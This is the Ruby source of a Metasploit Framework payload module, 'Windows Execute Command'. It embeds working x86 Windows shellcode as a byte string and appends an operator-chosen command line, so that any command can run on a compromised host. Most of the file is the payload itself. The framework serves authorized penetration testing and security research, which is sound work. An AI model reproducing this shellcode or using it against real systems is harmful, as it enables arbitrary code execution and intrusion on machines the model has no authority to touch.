# -*- coding: binary -*-

module Msf

###
#
# Common command execution implementation for Windows.
#
###

module Payload::Windows::Exec

  include Msf::Payload::Windows
  include Msf::Payload::Single

  def initialize(info = {})
    super(update_info(info,
      'Name'          => 'Windows Execute Command',
      'Description'   => 'Execute an arbitrary command',
      'Author'        => [ 'vlad902', 'sf' ],
      'License'       => MSF_LICENSE,
      'Platform'      => 'win',
      'Arch'          => ARCH_X86,
      'PayloadCompat' =>
        {
          'Convention' => '-passivex -http -https',
        },
      'Payload'       =>
        {
          'Offsets' =>
            {
              'EXITFUNC' => [ 154, 'V' ]
            },
          'Payload' =>
            "\xFC\xE8\x82\x00\x00\x00\x60\x89\xE5\x31\xC0\x64\x8B\x50\x30\x8B" +
            "\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\xAC\x3C" +
            "\x61\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\xE2\xF2\x52\x57\x8B\x52" +
            "\x10\x8B\x4A\x3C\x8B\x4C\x11\x78\xE3\x48\x01\xD1\x51\x8B\x59\x20" +
            "\x01\xD3\x8B\x49\x18\xE3\x3A\x49\x8B\x34\x8B\x01\xD6\x31\xFF\xAC" +
            "\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF6\x03\x7D\xF8\x3B\x7D\x24\x75" +
            "\xE4\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3" +
            "\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF" +
            "\xE0\x5F\x5F\x5A\x8B\x12\xEB\x8D\x5D\x6A\x01\x8D\x85\xB2\x00\x00" +
            "\x00\x50\x68\x31\x8B\x6F\x87\xFF\xD5\xBB\xE0\x1D\x2A\x0A\x68\xA6" +
            "\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47" +
            "\x13\x72\x6F\x6A\x00\x53\xFF\xD5"
        }
      ))

    # Register command execution options
    register_options(
      [
        OptString.new('CMD', [ true, "The command string to execute" ]),
      ], Msf::Payload::Windows::Exec)
  end

  #
  # Constructs the payload
  #
  def generate(_opts = {})
    return super + command_string + "\x00"
  end

  #
  # Returns the command string to use for execution
  #
  def command_string
    return (datastore['CMD'] || '').b
  end

end

end

